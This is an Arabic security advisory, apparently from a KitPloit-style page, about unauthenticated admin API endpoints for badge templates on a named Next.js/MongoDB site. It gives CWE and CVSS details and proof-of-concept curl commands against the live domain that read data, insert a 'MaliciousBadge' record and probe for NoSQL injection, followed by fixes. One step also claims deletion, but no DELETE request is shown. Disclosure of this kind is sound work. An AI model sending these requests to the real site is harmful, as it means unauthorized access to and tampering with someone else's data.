الوصف

نقاط النهاية المتأثرة

1. GET /api/admin/badge-templates:
   • يُرجع مصفوفة JSON لجميع قوالب الشارات المخزنة في مجموعة badgeTemplates في MongoDB.
   • تشمل الحقول المكشوفة _id و name و description و icon و color و isActive و createdBy و createdAt و updatedAt و __v.
   • لا تتطلب أي ترويسات مصادقة أو مفاتيح API أو فحوصات جلسة، مما يجعل نقطة النهاية متاحة للجمهور.
   • استجابة نموذجية (من cURL):

1. POST /api/admin/badge-templates/create:
   • يسمح بإنشاء قوالب شارات جديدة بحقول يتحكم فيها المستخدم: name و description و icon و color و isActive و createdBy.
   • فحوصات تحقق بسيطة لوجود name و description و icon، ويضمن عدم وجود name مكرر.
   • لا توجد فحوصات مصادقة أو تفويض، مما يمكن أي شخص من إدراج بيانات في قاعدة البيانات.
   • كود نموذجي (من المصدر المقدم):
     root@kitploit:~

     const templateDoc = {
       name: name.trim(),
       description: description.trim(),
       icon: icon.trim(),
       color: color || '#8B5CF6',
       isActive: isActive !== undefined ? isActive : true,
       createdAt: new Date(),
       createdBy: createdBy || 'unknown'
     };
     const result = await db.collection('badgeTemplates').insertOne(templateDoc);
     

نقاط الضعف

• CWE-200: كشف المعلومات الحساسة لجهة غير مصرح لها (نقطة نهاية GET): يكشف معرّفات المستخدمين (مثل Lagzen Thakuri و [email protected]) والبيانات الوصفية، مما يتيح الاستطلاع أو التصيد.
• CWE-306: غياب المصادقة للوظائف الحرجة (كلتا نقطتي النهاية): لا توجد ضوابط وصول على المسارات الإدارية.
• CWE-284: ضعف التحكم في الوصول (كلتا نقطتي النهاية): يسمح باسترجاع وتعديل البيانات بشكل غير مصرح به.
• احتمالية حقن NoSQL: بينما تقوم نقطة نهاية POST بتفكيك الحقول بشكل صريح، قد تكون نقطة نهاية GET عرضة للخطر إذا كانت تدعم معاملات الاستعلام (مثل ?name[$ne]=test).
• خطر تلوث السجلات: تسجل نقطة نهاية POST حقلي name و createdBy اللذين يتحكم فيهما المستخدم، مما قد يُساء استخدامه لإغراق السجلات أو حقنها.

درجة CVSS v3.1

• الدرجة الأساسية: 9.1 (حرجة)
• المتجه: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
  • متجه الهجوم (AV): الشبكة (نقاط نهاية متاحة للجمهور).
  • تعقيد الهجوم (AC): منخفض (لا توجد شروط خاصة مطلوبة).
  • الامتيازات المطلوبة (PR): لا شيء (لا حاجة للمصادقة).
  • تفاعل المستخدم (UI): لا شيء (طلبات HTTP مباشرة).
  • النطاق (S): غير متغير (يؤثر على التطبيق نفسه).
  • السرية (C): عالية (يكشف بيانات المستخدم).
  • السلامة (I): عالية (يسمح بإنشاء بيانات عشوائية).
  • التوفر (A): منخفض (احتمال رفض الخدمة عبر إنشاء قوالب جماعية).

الأنظمة المتأثرة

• التطبيق: Flagforge (https://flagforge.xyz)
• المكونات:
  • مسارات API الخاصة بـ Next.js: /api/admin/badge-templates (GET) و /api/admin/badge-templates/create (POST).
  • قاعدة بيانات MongoDB: مجموعة badgeTemplates.
• الاستضافة: Vercel (بدون خادم، مستنتج من ترويسة server: Vercel).
• الإصدارات: غير معروفة (يفترض Next.js 13+ بناءً على صيغة NextRequest/NextResponse).
• التبعيات: مشغل MongoDB (عبر أداة الاتصال المخصصة @/utlis/db)، Next.js.

التأثير

• السرية: كشف معرّفات المستخدمين (createdBy) والبيانات الوصفية (createdAt، updatedAt)، والتي يمكن استخدامها للهندسة الاجتماعية أو الهجمات المستهدفة.
• السلامة: إنشاء غير مصرح به لقوالب الشارات، مما قد يؤدي إلى رسائل غير مرغوب فيها أو تصيد أو عرض محتوى ضار في التطبيق.
• التوفر: احتمالية رفض الخدمة (DoS) عبر إغراق نقطة نهاية POST بإنشاء القوالب، مما يستهلك موارد قاعدة البيانات.
• قابلية الاستغلال: عالية، حيث أن نقاط النهاية متاحة للجمهور عبر طلبات HTTP بسيطة (مثل cURL أو Postman) دون أي حواجز مصادقة.

إثبات المفهوم

1. استرجاع البيانات الحساسة (GET):

   root@kitploit:~

   curl https://flagforge.xyz/api/admin/badge-templates
   

   • يُرجع قائمة JSON بجميع قوالب الشارات، بما في ذلك الحقول الحساسة مثل createdBy (مثل [email protected]).

2. إنشاء قالب غير مصرح به (POST) وإزالة القوالب (DELETE):

   root@kitploit:~

   curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
     -H "Content-Type: application/json" \
     -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
   

   • ينشئ قالباً جديداً في مجموعة badgeTemplates.
   • يزيل قوالب الشارات.
   • تحقق من ذلك بإعادة تشغيل طلب GET للتأكد من ظهور القالب الجديد.

3. احتمالية حقن NoSQL (GET، إذا كانت معاملات الاستعلام مدعومة):

   root@kitploit:~

   curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
   

   • اختبر ما إذا كانت نقطة النهاية تعالج عوامل تشغيل MongoDB، مما قد يتجاوز عوامل التصفية أو يكشف بيانات إضافية.

التوصيات

الإصلاحات الفورية

1. تنفيذ المصادقة:
   • أضف برمجية وسيطة للتحقق من هوية المستخدم (مثل JWT أو NextAuth.js أو مفاتيح API) لكلتا نقطتي النهاية.
     root@kitploit:~

     // مثال على برمجية وسيطة لنقطة نهاية POST
     export async function POST(request: NextRequest) {
       const authHeader = request.headers.get('authorization');
       if (!authHeader || !verifyToken(authHeader)) { // نفذ verifyToken
         return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
       }
       // ... الكود الموجود ...
     }
     

2. تقييد نقطة نهاية GET:
   • قصر نقطة نهاية GET على المسؤولين المصادق عليهم أو إرجاع بيانات بسيطة (مثل استبعاد createdBy).
   • إذا كانت معاملات الاستعلام مدعومة، عقم المدخلات لمنع حقن NoSQL.

المراجع

• CWE-200: https://cwe.mitre.org/data/definitions/200.html
• CWE-306: https://cwe.mitre.org/data/definitions/306.html
• CWE-284: https://cwe.mitre.org/data/definitions/284.html
• OWASP API Security Top 10: https://owasp.org/www-project-api-security/
• حاسبة CVSS v3.1: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator